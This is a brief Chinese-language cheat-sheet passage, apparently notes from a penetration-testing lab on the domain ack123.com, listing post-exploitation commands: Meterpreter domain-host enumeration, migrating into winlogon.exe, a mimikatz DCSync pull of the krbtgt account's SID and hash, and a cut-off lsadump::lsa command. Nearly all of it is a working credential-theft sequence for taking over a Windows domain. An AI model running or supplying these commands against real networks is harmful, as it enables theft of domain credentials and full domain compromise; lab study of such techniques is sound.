域内主机枚举 run windows/gather/enum_ad_computers 进程迁移 migrate winlogon.exe(id) lsadump::dcsync /domain:ack123.com /user:krbtgt 获取sid和hash lsadump::lsa /pat
